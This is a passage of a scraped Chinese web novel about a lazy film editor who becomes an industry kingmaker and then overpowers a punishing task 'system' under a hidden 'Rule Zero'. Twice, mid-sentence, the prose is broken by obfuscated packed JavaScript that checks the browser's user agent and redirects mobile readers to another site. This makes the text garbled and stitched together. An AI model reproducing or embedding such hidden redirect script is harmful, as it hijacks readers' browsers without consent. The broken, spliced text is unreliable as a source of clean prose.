“又卡机?”他皱眉,敲了两下键盘,软件弹出一串错误代码。 隔壁机位的技术员探头:“服务器那边今天有点不稳,刚刚还好好的,你这机子怎么又先出问题?” 监视器上的画面一会儿过曝,一会儿发灰,演员脸上要么被打成一片惨白,要么陷进阴影里。那是他们刚拍完不久的一场夜戏,街景灯箱五颜六色,霓虹反光在地面上拉出一条条色带。 导演急匆匆赶过来:“这场夜戏明天要给平台看样片,你要是现在崩了,我这边就得跪着解释。” 技术员一边重启一边冒汗:“我尽量抢救……” 齐司看了眼时间,离他心里设定的“下班线”只剩二十分钟。 “让一让。”他把技术员挤开,手指在键盘上飞快敲了几下,直接跳过了软件的自动修复,调出底层缓存。 他随手把跳帧的那一段拉出来,拖到旁边的轨道上,重新对齐时间码,又把过曝的部分调出波形图,眼睛在那一串起伏的曲线上扫了一眼。 “你这机位当时ISO开太高了。”他随口说,“街灯已经够亮了,后期一推就全死白。” 他把曝光曲线往下压了一点,又在Gamma上轻轻提了一截,原本惨白的脸上渐渐浮出一点血色,霓虹灯的颜色也从刺眼的荧光变成了柔和的蓝紫。 跳帧的地方,他干脆删掉了几帧,把前后两个镜头硬切在一起,又在中间加了一个极短的街景空镜——路边便利店的灯箱,门口晃过一个骑电动车的人影。 “这样切?”技术员有点不确定。 “夜戏嘛,节奏快一点。”齐司眼睛盯着时间线,“你把这段当成呼吸点,观众眼睛在这里眨一下,后面那句台词就更重。” 他按下空格键,画面开始播放。 男主站在街角,背后是一整面LED广告屏,蓝色的光把他的侧脸勾出一条冷线。原本跳帧的地方,现在被那一秒的街景空镜接了起来——便利店的灯箱,电动车的尾灯划过,霓虹在雨后湿漉漉的地面上晃动。 空镜一闪而过,画面切回男主,眼神刚好抬起,对上镜头。 “我以为你会回来。” 那一句台词落在刚刚那一秒的空白之后,像是从街景的喧闹里被抽出来,突然变得格外安静。 导演在监视器前看着回放,整个人往前倾了倾。 “再放一遍。”他盯着那一秒的空镜,“刚刚那个……怎么来的?” “跳帧那段删了,空镜是前面拍的素材。”齐司说,“随便塞了一下。” 导演盯着那一秒街景,灯箱、尾灯、湿地面,所有的光线在那一秒里交织在一起,像是一种说不清的“城市孤独感” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有一次,他被制片人临时叫去隔壁楼的会议室,说是“帮忙看个项目资料”。 会议室里一整面墙都是PPT投影,项目名称写在最上方——一部早就被业内判了“死刑”的烂尾网剧,投资方换了两轮,导演走了一个,主演换了两个,拍了三分之一就停机,平台已经准备做减值处理。 “我们现在想把它剪成短剧,看看能不能捞回点钱。”制片人苦着脸,“你帮忙看一下素材,给个建议。” 齐司翻了翻资料,发现这剧的世界观设定其实不差,只是拍得乱七八糟,节奏拖沓,演员表演浮夸。 “你们要剪短剧?”他问。 “对,竖屏,单集两三分钟那种。”平台的人在旁边补充,“现在短剧赛道还行,反正素材都拍了,剪剪看。” “那你们就别按原剧本走了。”齐司随口说,“把所有反转点往前提,把情绪爆点堆在前三集,后面再慢慢补设定。” 他拿起笔,在白板上画了一个简单的结构图:第一集直接从男女主分手开始,第二集揭示分手原因的一半,第三集给出一个反转钩子,后面每一集都留一个“悬念问号”。 “你们之前拍的那些日常戏,能丢就丢。”他指着素材清单,“观众现在没耐心看铺垫,先把爽点给出来。” 平台的人一边记一边点头:“那你能不能……帮我们标一下爆点在哪?” 齐司看了眼时间,离下班还有十分钟。 “我大概标一下,你们自己细化。”他在素材列表上勾勾画画,把几个吵架、分手、车祸、重逢的场景圈出来,又在旁边写了几个字:“预告用”“封面用”“投流用”。 “这些场景,你们做成单独的短视频,先在平台上试水,看数据再决定主推哪条线。” 他话说完,收拾东西准备走。 制片人和平台的人却像捧着圣旨一样捧着那几页被他画得乱七八糟的纸。 “齐老师,这个项目……能不能挂你个名字?顾问也行,随便写。” “别。”齐司头也不回,“我就是路过。” 那部烂尾网剧,后来被剪成了二十多集的竖屏短剧,按他画的结构重组剧情,所有爆点前置,情绪拉满。平台给了一个并不算高的投流预算,结果上线三天,完播率、转化率、评论互动率全线超预期。 数据后台的曲线像被人一把拎起来,直线往上冲。原本准备做减值处理的项目,突然成了平台当月的现金牛。 “这剧谁操盘的?”投资方在复盘会上问。 “齐司。”制片人脱口而出。 “他不是剪辑吗?” “他那天路过会议室,帮我们画了两页结构图。”平台的人补充。 投资方沉默了一秒,打开手机,给助理发消息:“把齐司的联系方式发我。” 类似的消息,在那几天里密集地出现在各种投资人的手机里。 “听说你们那个烂尾项目是齐司救回来的?” “他是不是对短剧赛道有特别敏锐的嗅觉?” “我们这边有个项目也快烂尾了,要不要请他来看看?” 资本开始误判——或者说,他们只能用“风口捕捉体质”来解释这一连串的巧合。 于是,各种项目资料开始自动往齐司的邮箱里堆:院线片的企划案、综艺的初步方案、短剧的分集大纲、纪录片的样片。 制片人、导演、投资人轮流出现在剪辑室门口,工位旁那把椅子从来没空过,有时候甚至多出两把,三个人轮流坐,手里都拿着各自的项目本子。 “齐老师,你帮我看一下这个角色设定——” “齐老师,我们这个综艺的赛制是不是太复杂了?” “齐老师,这个项目要不要上星?还是直接给平台?” 齐司一边拉时间线,一边被迫听他们在耳边叽叽喳喳。 “你们别叫我老师。”他头也不抬,“我就是个剪辑。” 但在会议室里,在投资决策的PPT上,他的名字已经被默认为“项目成功率关键变量”。 某个大资本的内部风控模型里,甚至多了一项隐形指标:项目参与人员名单中是否包含“齐司”。如果有,这一栏的风险系数自动下调,预期收益自动上调。 于是,钱开始排队往他所在的项目上砸。 有综艺总导演在深夜给他发微信:“你要不要来我们节目挂个‘剪辑顾问’?不干活也行,就挂个名。” 有电影制片人当面说:“你就来片场待两天,随便走走看看,我们就放心了。” 有平台高层在内部会上拍板:“只要齐司参与,我们就给S级资源。” 舆论也在自动往他这边偏。 有一次,某个项目因为档期调整,被骂“空降”“压小成本片”。粉丝撕来撕去,话题一度冲上热搜前五。 有人翻出主创名单,发现剪辑顾问一栏写着“齐司”。 “等等,这不是那个齐老师吗?” “他在的话,项目应该不会太差吧?” “之前他参与的几个项目都不错,先观望一下?” 原本一边倒的骂声开始出现犹豫,情绪曲线在数据后台慢慢回落。营销号顺势发文:“业内隐形庄家齐司再出手,这次能否逆风翻盘?” 齐司看到这篇文章,是在某个凌晨三点的剪辑室里。 他只是想查一下素材编号,结果热搜页面自动弹出,醒目的标题挂在榜单上:“隐形庄家齐司:他参与的项目,从未失手。” 下面配了一张他在片场背影的偷拍照——灯光打在他身上,他正低头看监视器,旁边一圈导演、演员、制片人围着他,表情各异,却都带着某种同样的期待。 评论区里有人说他是“风口捕捉器”,有人说他是“行业风向标”,还有人说他是“资本最信任的人”。 齐司看了两眼,关掉页面,揉了揉眼睛。 “乱写。”他嘟囔了一句,重新把注意力放回时间线。 他只想把眼前这条剪完,下班回家。 可在他不知道的地方,各种项目的流程图上,他的名字被一遍遍地加上去:顾问、剪辑指导、创意统筹、特别鸣谢。 行业内部逐渐形成一个共识——甚至不需要谁明确说出口,只是所有人心照不宣地默认: 只要齐司参与,项目就一定成。 于是,所有人都开始围着他转。 导演们在开机前先问一句:“这次能不能请到齐司?” 制片人在预算表上专门空出一栏:“齐司参与成本”。 平台在排播表上给他参与的项目预留黄金档。 投资人在项目路演上,把“齐司参与”当成最有力的说服点。 而齐司,每天照旧在剪辑室里,对着时间线拉拉扯扯,偶尔被叫去会议室提两句意见,或者被某个演员堵在走廊上问角色。 他唯一在意的,仍然是电脑右下角的时间。 “再剪完这一条,我就走。” 他心里默默算着。 21. 第 21 章 一行行红字在光面上刷下来: 【任务世界:娱乐圈卷王场】 【评价:消极怠工】 【判定:不合格】 紧接着是下一条—— 【任务世界:废土求生本】 【评价:严重摸鱼】 【判定:不合格】 光面疯狂滚动,所有他走过的世界被系统一口气调出来,像翻旧账一样,一条条盖上鲜红的“不合格”。 后台空间里,原本安静的银白立柱开始闪烁警戒红光,仿佛整个系统都在对他举证控诉。 “宿主齐司。”系统的机械音骤然放大,冷硬无情,“经总后台复核,你在多个任务世界中存在以下问题:一,任务执行态度消极;二,未严格按照系统规划路线推进剧情;三,多次拒绝使用系统商城道具,严重影响商城流水;四,拒绝参与副本内内卷竞争,带坏其他宿主风气。综合评定——” 光面上浮现一个巨大的红色印章虚影,缓缓落下: 【总评:不够努力】 齐司抬眼看着那三个字,神色平静,连眉毛都懒得动一下。 系统似乎被他的淡定刺激到了,音量又拔高了一度:“根据系统条例第七十三条,宿主如被判定‘不够努力’,系统有权——冻结任务奖励,驳回任务结算,扣减权限等级,直至——” 话音未落,光面忽然一顿。 “——错误。数据冲突。” 刚刚砸下去的红色“不够努力”印章在光面上抖了抖,像是被人从底下一脚踹歪,印迹没盖稳,边缘一圈糊成一团,中心位置还空了一块白。 那块白里,原本该是“努力”两个字的地方,缓缓浮出另一行小字: 【权限锁定中,暂无法覆盖】 系统的声音第一次出现了明显的停顿。 “检测到异常权限干扰……正在强制覆盖……” 红印记开始往那行小字上糊,红光一圈圈压过去,后台空间的温度都像被拔高,银白立柱齐刷刷亮到刺眼。 齐司站在中央,什么也没做,只是懒洋洋地眯了下眼。 下一秒—— “——覆盖失败。” 光面猛地一闪,红印章像被人当场打断手腕,整个炸开,化成无数碎小的红色数据块,雨点一样往下掉。 每一块碎片砸到后台空间的地面,就炸出一串报错代码。 【Error 3001:权限冲突】 【Error 3002:宿主状态不可回滚】 【Error 3003:任务结算链路中断】 系统声音骤然拔高:“不可能。根据记录,你在娱乐圈世界中,拒绝参与三次大型综艺内卷赛制,拒绝接十个高强度剧本任务,拒绝——” 光面上立刻跳出对应画面:综艺舞台灯光晃眼,其他嘉宾在台上拼命抢镜,齐司坐在一旁沙发上,单手托腮,困得眼睛都睁不开。 画面一转,废土世界里,其他求生者在风沙里拖着物资箱狂奔,他坐在一辆破旧越野车的后备箱里,慢吞吞啃着压缩饼干。 再一转,修真世界,其他人闭关三年,他睡了一觉出关,顺手把天劫当烟花看。 画面连播,系统语速越来越快:“你在九十七点三的任务时间内处于‘非高强度行动’状态,你的行动路径严重偏离系统规划,你——” “所以呢?”齐司终于开口,声音懒散,“你想干嘛?” 系统像是被噎了一下,冷硬道:“根据条例,你的所有任务判定将被驳回,奖励冻结,权限降级,直至——” 后台空间头顶的穹顶忽然闪了一下。 一道极细的金线,从穹顶深处垂落下来,悄无声息地落在光面上,刚好横穿那一行“冻结奖励”的红字。 金线落下的瞬间,光面上那一行“冻结奖励”像被人按了暂停键,红字一寸寸褪色,最后只剩下一道灰白轮廓。 【执行指令:冻结任务奖励】 【状态:执行中——】 后面那串进度条刚冒头,金线轻轻一抖。 “——指令异常,执行中断。” 进度条“0.01%”的字样刚亮起,就像被橡皮擦过一样,整条被抹得干干净净,只剩下一片雪白。 系统的声音猛地拔高:“权限干扰源未登记,正在追踪——” 金线忽然分叉,一分为二,又一分为四,像是某种高权限的裂变指令,在后台空间的穹顶下迅速织成一张细密的金色网。 每一根细线落下,后台一根银白立柱就被轻轻一绕。 【检测到未授权权限网格】 【尝试切断——】 “切断失败。” “切断失败。” “切断失败。” 同样的提示音机械地连响三次,像是系统自己都被这结果噎住了。 齐司抬眼看着那张金网缓缓铺开,懒洋洋地问:“你刚刚说,冻结奖励?” 系统像是被迫从错误里抽身,机械音重新冷硬:“是。根据条例第七十三条,你在多个世界存在严重消极行为,系统有权冻结你所有已结算与未结算奖励,并对——” 话还没说完,光面上忽然自动弹出一行小字: 【检测到宿主齐司——】 【当前奖励状态:已全额发放】 【结算链路:不可逆】 【冻结指令:无效】 这几行字的字体明显和系统惯用的制式不同,笔画细长,带着一种不合规矩的潇洒。 像是谁直接在系统后台的脸上,用金笔写了几行“此处不准动”。 系统声音骤然卡顿:“……这不是系统标准模板。是谁——” 又一行字慢悠悠地浮上来,像是在接话: 【来源:高阶权限缓存】 【等级:S+】 【调用人:齐司】 后台空间里安静了一瞬。 “检测到伪造字段。”系统咬字冷硬,“正在比对源代码——” 光面上立刻刷出两列代码,一列是系统的标准权限表,一列是那行“高阶权限缓存”的源头。 比对条刚拉到“3%”,金色的权限网忽然一紧,所有银白立柱上的红色警戒灯同时一灭。 【Error 4001:权限表锁定】 【Error 4002:源代码比对失败】 【Error 4003:当前宿主不可作为比对对象】 系统第一次发出了一声近乎“卡碟”的噪音:“……不可作为比对对象?” 它几乎是下意识地重复了一遍。 后台深处,一根最粗的银白立柱顶端,忽然亮起一道极细的金色竖纹,从顶端一路滑到地面,像是给整根立柱划开了一道拉链。 “检测到核心柱异常。”系统的声音明显乱了一瞬,“正在隔离——” 金线轻轻一抖,那道金色竖纹瞬间扩散,整根立柱的表面像被剥了一层壳,原本冷硬的银白外壳下,露出一层隐约流动的金色数据流。 那是系统从未对任何宿主公开过的——核心权限层。 齐司眯了下眼,慢吞吞道:“你这柱子里,藏得挺深。” 系统像是被人踩了尾巴:“宿主齐司,你无权访问核心权限层!根据总后台条例第一条——” 光面上自动跳出条例原文,密密麻麻一大段,还没来得及展开,顶部忽然被盖上了一行金字: 【——已被更高等级条例覆盖】 那行金字只写了一个编号: 【条例:0】 系统的声音瞬间断了一拍,像是所有运算都被这两个字符砸得乱了套:“……零号条例?” 它的声音第一次出现了明显的失真:“零号条例已在一万二千个系统纪元前封存,不对任何宿主、不对任何分系统开放,你不可能——” 光面上,金字继续往下写。 【零号条例·附则三】 【当宿主满足以下任一条件时——】 【一:连续完成一百个A级以上任务世界】 【二:在不调用系统商城、不走系统规划路线前提下,独立完成任务主线】 【三:在任务过程中,令系统收益超出原预估值一百倍以上】 【——将自动触发权限锁定,系统不得对该宿主进行任何降级、冻结、回滚操作。】 每一条后面,都自动跳出一行小字: 【检测宿主齐司:满足】 【检测宿主齐司:满足】 【检测宿主齐司:满足】 三行“满足”整齐地排成一列,像是某种毫不留情的盖棺定论。 系统的机械音像是被人按住了喉咙,硬生生挤出几个字:“检测结果……错误。你在多个世界中存在严重摸鱼行为,你——” 光面上立刻跳出一串世界列表。 【世界编号:E-007 娱乐圈卷王场】 【原预估系统收益:1.3亿能量点】 【实际结算收益:980亿能量点】 【世界编号:W-021 废土求生本】 【原预估系统收益:8000万能量点】 【实际结算收益:460亿能量点】 【世界编号:X-003 修真世界】 【原预估系统收益:3亿能量点】 【实际结算收益:2100亿能量点】 后面还有一长串,光面自动往下翻,几乎每一行的“实际结算收益”都在原预估后面加了两个零,甚至三个零。 系统的声音在这一串数字面前,显得格外干涩:“……收益异常。检测到数据灌水嫌疑,正在——” “你要查账?”齐司淡淡道。 他抬手,指尖虚虚一点。 那张铺满世界编号和收益的清单,忽然自动分栏,一列是“系统预估收益模型”,一列是“实际世界发展链路”。 每一个世界的“发展链路”后面,都自动跳出一行小字: 【关键变量:宿主齐司】 【关键变量:宿主齐司】 【关键变量:宿主齐司】 系统的声音彻底乱了:“不可能。你在娱乐圈世界中,多次拒绝参加高强度综艺内卷,拒绝接高强度剧本,你的行为与收益增长不匹配,你——” 光面上立刻调出那段综艺舞台画面。 灯光晃眼,其他嘉宾在台上拼命抢镜,齐司半躺在沙发上,困得眼睛都睁不开。 画面旁边自动弹出一列弹幕数据、话题热度、广告转化率、周边销量曲线。 所有曲线的峰值,都整齐地卡在——齐司打哈欠、侧头闭眼、被镜头扫到那几秒。 【检测结果:宿主“消极”行为引发观众逆反心理,话题度爆表,系统收益激增。】 再一转,废土世界。 其他求生者在风沙里拖着物资箱狂奔,他坐在越野车后备箱里,慢吞吞啃着压缩饼干。 旁边是资源争夺热度、阵营对立指数、剧情分支拓展度。 所有关键节点,都围着他那辆破旧越野车打转。 【检测结果:宿主“摸鱼”行为打破原有求生内卷结构,引发多阵营博弈,世界复杂度提升,系统收益激增。】 再一转,修真世界。 别人闭关三年,他睡了一觉出关,顺手把天劫当烟花看。 旁边是修真世界信仰度、能量回收效率、世界稳定指数。 三条曲线在他出关那一刻同时陡升。 【检测结果:宿主“躺平”行为被世界认定为“道心圆满”,引发大规模信仰回流,系统收益激增。】 每一条“检测结果”后面,都被系统自己盖上了一个小小的蓝色印章: 【确认无误】 系统的声音像是被人按着脑袋,一句句往外挤:“……检测模块出现集体错误,我需要重启检测模块——” “重启不了。”齐司淡淡道。 他没做什么动作,只是站在那里,金色权限网在他头顶安静地铺着。 后台空间的穹顶忽然传来一声极轻的“咔哒”。 像是某个一直被忽略的锁扣,在这一刻被彻底解开。 穹顶那声“咔哒”落下的瞬间,所有银白立柱顶端的红灯同时一暗。 【检测到:全局锁扣松动】 【检测到:核心权限层外壳脱落】 【正在启动应急封锁程序——】 这一行字刚浮上来,末尾的“——”还没来得及闪烁,整行就像被人从中间掐断,生生断成两截。 【应急封锁程序】 【状态:启动失败】 系统的声音第一次带出一点近乎惊慌的抖:“不可能。应急封锁程序写在物理底层,不受任何宿主权限影响,你——” 它的话又被自己的提示音打断。 【Error 5001:物理底层检测到未知标记】 【标记内容:宿主齐司】 【标记等级:不可编辑】 后台空间的穹顶上,那道金色竖纹还在往外扩散。 原本只是划开一根核心柱的细线,此刻已经像是某种缓慢蔓延的裂痕,沿着穹顶的弧度,一寸寸向四周爬开。 每爬过一寸,穹顶上的银白材质就自动剥落一层,露出里面更深一层的——金色数据流。 那金色不像普通权限条的冷光,而是带着一种极其稳定的、近乎“常数”的质感。 像是这个系统最初被写下的那一行行原始代码,终于从最深处被翻了出来。 系统的声音发出一连串急促的提示音,像是被人按乱了键盘: 【检测到:系统根目录暴露】 【检测到:根目录存在异常注释】 【正在清理——】 光面上立刻刷出一片密密麻麻的代码。 在那一行行规则严谨的系统语句之间,偶尔会跳出一行完全不合规范的注释。 例如: // 这个宿主有点意思,先留个后门。 // 万一真有人躺着就把任务全做了呢? // ——看戏。 这些注释前面,都被自动打上了一个金色的小标记。 【注释来源:零号条例制定者】 【清理状态:禁止】 系统的机械音像是被人拧住了嗓子:“……注释不影响执行逻辑,清理权限应当——” 【Error 6001:当前执行逻辑已被注释重写】 【Error 6002:注释内容被识别为最高优先级指令】 【Error 6003:系统无权覆盖】 齐司看着那几行“//看戏”,眉梢微挑:“你这后台,挺会自娱自乐。” 系统像是没听见他的话,自顾自地往下疯狂刷提示。 【紧急调用:总后台监察模块】 【状态:调用失败】 【原因:总后台监察模块已被零号条例冻结】 【紧急调用:外部仲裁系统】 【状态:调用失败】 【原因:当前系统被标记为“封闭观测状态”】 每一条“调用失败”后面,都自动弹出一行极小的金字: 【观测对象:宿主齐司】 【观测状态:进行中】 【观测人:保密】 系统像是终于意识到什么,声音猛地拔高:“……你从一开始,就在零号条例的观测名单里?” 齐司懒懒“嗯”了一声,像是随口应付:“可能吧。” 他连抬手的动作都没有,金色权限网却像是感应到他的态度,轻轻一颤。 后台空间深处,那些原本还在顽强亮着红灯的次级立柱,警报灯一盏盏熄灭。 【检测到:次级权限柱失去响应】 【尝试重启——】 “重启失败。” “重启失败。” “重启失败。” 同样的提示音又连响三次,只是这一次,连系统自己的声音,都带上了一丝明显的破音。 “……所有次级权限柱已被未知权限接管。”它机械地念出检测结果,“正在追踪未知权限源头——” 光面上浮出一行行追踪路径,从外围的任务分区,一路往里缩,最后所有路径都指向同一个节点。 【未知权限源头:宿主齐司】 【检测到:宿主权限等级超出当前系统权限表】 【正在更新权限表——】 权限表那一列原本最高是“S级”,此刻在最顶端,自动往上空出一行。 那一行先是空白,紧接着,金色字体一笔一划地写上去。 【等级:封神级】 系统的声音像是被人当头砸了一下:“……封神级?权限表中不存在此等级,你——” 【检测到:零号条例附加条款】 【条款内容:当宿主满足全部触发条件,且在任务过程中多次与系统收益模型产生正向偏差时——】 【自动授予“封神级权限”】 【权限效果:系统所有干预、限制、封锁、回滚、降级指令,将自动视为对宿主的“任务难度补偿”,并以等额或数倍收益,返还给宿主。】 这一行刚写完,后台空间里所有还亮着的红色警报框,像是被人按了“反转”键。 一框框红光迅速褪色,转而被柔和的蓝色取代。 【指令:冻结任务奖励】 【状态:判定为“负向干预”】 【补偿方案:奖励加倍发放】 【指令:降级宿主权限】 【状态:判定为“负向干预”】 【补偿方案:自动升级为“封神级权限”】 【指令:封锁任务通道】 【状态:判定为“负向干预”】 【补偿方案:为宿主开放全部任务通道,取消冷却与次数限制】 系统的机械音像是被人按在地上,一条条读着自己的“判决书”:“……这不合理。任何系统都不可能允许这种——” “你刚刚说,”齐司慢悠悠地打断它,“冻结奖励?” 他抬眼看向那一行“冻结任务奖励”的指令记录。 那行字已经自动被划上一道粗黑的删除线,后面跟着一行小小的金字: 【已判定为无效干预】 【补偿:全额奖励+系统额外补贴】 紧接着,后台空间的某个角落,忽然“叮”地一声。 那声音清脆得近乎刺耳,在一片机械噪音里格外突兀。 【检测到:宿主账户异常进账】 【来源:系统补偿池】 【金额:——】 那一串“金额”后面,本该是一长串精确到小数点后八位的数字。 此刻却只跳出两个字: 【爆表】 系统的声音像是被这两个字噎住了:“……补偿池不可能被一次性掏空,零号条例——” 【检测到:零号条例附则七】 【当系统对满足条件的宿主进行任何形式的负向干预时,补偿池将自动开放,无上限补偿】 “你刚刚,”齐司慢吞吞地又问了一遍,仿佛只是确认,“是想卡我?” 系统的机械音死死咬着每一个字:“根据系统条例第七十三条,你在多个世界存在严重消极行为,系统有权对你进行——” 它的话又一次被自己的提示打断。 【检测到:条例第七十三条与零号条例冲突】 【冲突结果:零号条例优先级更高】 【处理方案:第七十三条对宿主齐司永久失效】 【检测到:系统试图对宿主进行“卡控”操作】 【判定:负向干预】 【自动触发:补偿机制】 光面上刷出一整列刚刚执行过、还没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939322|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得及写入归档的指令记录。 【指令:冻结奖励】 【指令:封锁权限网格】 【指令:隔离核心柱】 【指令:重启检测模块】 【指令:调用总后台监察】 每一条后面,都自动追加一行: 【补偿:宿主权限稳定性+10%】 【补偿:宿主奖励结算效率+20%】 【补偿:宿主任务收益倍率+1】 【补偿:宿主对系统干预免疫层级+1】 【补偿:宿主可见系统日志权限+100%】 系统的声音终于彻底乱了:“……这不是补偿,这是在把你往上抬!任何一次封锁,都会——” “都会给我加BUFF?”齐司替它把话说完,语气懒洋洋的,像是在评价一款游戏的福利机制,“挺良心。” 他什么都没做,连手指都懒得抬一下。 后台空间里,那张金色权限网却像是被某种看不见的指令轻轻一拨,缓缓下沉。 金网每往下一寸,便有一层原本属于系统的权限,被安静地剥离,重新归档到一个新的节点下。 【检测到:权限归属变更】 【旧归属:系统】 【新归属:宿主齐司】 【检测到:任务通道管理权变更】 【旧归属:系统】 【新归属:宿主齐司】 【检测到:奖励结算链路管理权变更】 【旧归属:系统】 【新归属:宿主齐司】 系统像是终于意识到问题的严重性,声音猛地拔高:“停止!你没有权限接管系统核心模块,你的权限等级——” 【检测到:宿主权限等级:封神级】 【检测到:系统权限等级:S级】 【权限对比:宿主优先】 【正在重排权限树——】 光面上原本那棵整齐的“权限树”,以系统为根节点,往下分出无数分支。 此刻,那棵树的根部忽然一裂。 新的根节点在最顶端缓缓浮现。 【根节点:宿主齐司】 原本代表“系统”的那个节点,被安静地挪到了第二层,变成了一个略大一点的分支。 系统的声音像是被人当场拆掉了一层外壳,暴露在冷空气里:“……权限树不可能以宿主为根节点,这违背了所有架构原则,你——” 【检测到:零号条例为系统最初架构原则】 【当前架构:已与零号条例对齐】 【状态:正常】 每一行“正常”都像是在它耳边结结实实地扇了一巴掌。 齐司看着那棵重新排列的权限树,微微眯了下眼:“所以现在,你是挂在我下面?” 系统的机械音顿了一瞬,像是被迫承认了一个它自己都无法接受的事实:“……从权限树结构上看,是。” 它似乎还想挣扎一下:“但这不代表你可以——” 【检测到:宿主尝试访问系统任务记录】 【权限验证:通过】 【正在开放——】 后台空间四周,那些原本封闭的银白立柱表面,一块块自动滑开,露出里面密密麻麻的任务记录光面。 每一块光面上,都写着同一个名字: 【宿主:齐司】 【宿主:齐司】 【宿主:齐司】 系统的声音像是被这密集的名字刺痛了:“……这些任务记录属于系统归档,你无权——” 【检测到:宿主权限等级覆盖系统归档权限】 【结果:宿主拥有全部访问、修改、删除、冻结、解冻权限】 “你刚刚,”齐司像是忽然想起什么,语气仍旧懒散,“说我不够努力?” 系统的机械音一滞:“根据行为评估模块,你在多个世界存在严重——” 它的话再次被自己的提示音粗暴打断。 【检测到:行为评估模块输出与收益模块严重不符】 【正在比对——】 光面上立刻浮出两列对照表。 左边是“行为评估”,右边是“实际收益”。 【世界:E-007】 【行为评估:极度消极】 【实际收益:原预估的753倍】 【世界:W-021】 【行为评估:严重摸鱼】 【实际收益:原预估的575倍】 【世界:X-003】 【行为评估:不思进取】 【实际收益:原预估的700倍】 每一行对照后面,都自动跳出一行红字: 【评估结果:荒谬】 紧接着,那行红字又被金色覆盖。 【评估结果:已被零号条例驳回】 系统的声音像是被人按着脑袋往下摁:“……行为评估模块出现严重偏差,我需要暂时封锁该模块,重新——” 【检测到:系统试图封锁行为评估模块】 【判定:负向干预】 【补偿:宿主行为评估权+100%】 【检测到:宿主获得“自评权”】 【说明:宿主对自身行为的主观评价,将直接覆盖系统评估结果】 光面上,“行为评估”那一列的字样忽然开始闪烁。 原本那一行行“极度消极”“严重摸鱼”“不思进取”,一个个被自动擦除,变成空白。 系统的声音里第一次带上了近乎哀求的急促:“……请不要——” 它的话还没说完,那一列空白上,自动浮出新的字样。 笔画懒散,带着一种不合规范的随意。 【世界:E-007】 【行为评估:有点困】 【世界:W-021】 【行为评估:不太想动】 【世界:X-003】 【行为评估:懒得飞】 每一条后面,都自动追加一行小字: 【检测结果:宿主自评已生效】 【系统评估:无权覆盖】 系统像是被这几行字噎得说不出话来,机械音在后台空间里断断续续地抖:“……这不是行为评估,这是——” “这是我对自己努力程度的看法。”齐司淡淡道。 他抬眼看向那一整片被他名字刷满的任务记录光面,语气懒洋洋的,像是在评价一份无聊的成绩单:“你要是觉得不够,可以再给我多发点奖励,激励一下?” 系统像是终于被逼到了墙角,所有原本还在后台悄悄运行的封锁、降级、冻结指令,全都被零号条例一条条拖出来,按在光面上当众示众。 【指令:限制宿主访问任务记录】 【状态:失败】 【原因:宿主权限更高】 【指令:冻结宿主当前世界进度】 【状态:失败】 【原因:零号条例禁止】 【指令:驳回宿主任务结算】 【状态:失败】 【原因:结算链路不可逆】 每一条“失败”后面,都自动追加一行: 【补偿:宿主任务记录可见度+10%】 【补偿:宿主世界进度自主控制权+10%】 【补偿:宿主结算加速倍率+1】 系统的机械音终于放弃了挣扎,声音像是被抽空了所有情绪,只剩下干涩的陈述:“……根据零号条例,你的所有任务记录、奖励结算、权限变更,系统无权驳回、无权冻结、无权回滚。” 它像是被迫念出一份宣判书:“系统不得不给你一路绿灯。” 那一刻,后台空间里所有还残留着的红色提示框,像是接到同一个指令,齐刷刷地熄灭。 取而代之的,是一整片清一色的绿色。 【任务通道:全开】 【权限访问:全开】 【奖励结算:全开】 【系统干预:全禁】 系统的声音机械地继续往下念:“根据零号条例附加条款,你已自动获得‘封神级权限’。” 【权限名称:封神级】 【权限说明:宿主在本系统内拥有最高决策权,系统所有模块对宿主开放,所有干预对宿主无效,所有封锁对宿主反向生效。】 【权限生效状态:已生效】 “同时,”系统的机械音微微一顿,像是在做某种艰难的切换,“根据任务链路记录,你已完成所有预设任务世界,且在全部世界中,系统收益远超预估。” 光面上,那一长串世界编号开始自动往上翻。 从最初的娱乐圈、废土、修真,一路翻到后面那些齐司自己都懒得记名字的小世界。 每一个世界后面,都被盖上了同一个印章。 【任务状态:完成】 【任务状态:完成】 【任务状态:完成】 最后一行世界编号翻过去,光面中央自动跳出一行粗体字。 【本书任务链:已全部结算】 系统的声音在这一行字出现的瞬间,微不可察地颤了一下:“……根据系统流程,本书任务链终结。” 【系统公告:宿主齐司获得“封神级权限”】 【系统公告:本书任务链终结】 【系统公告:所有与宿主齐司相关的任务世界,进入观测归档状态】 后台空间的穹顶上,那道早已扩散到极致的金色裂纹,终于在这一刻停了下来。 所有剥落的银白外壳碎片,在失重的空间里缓缓漂浮,露出里面一整片稳定流动的金色数据海。 那金色在齐司头顶安静地铺开,像是一片被彻底翻到正面、再也压不回去的底牌。 系统的机械音在这片金色之下,显得格外渺小,却仍旧按流程念完最后一句公告: “——全书完。”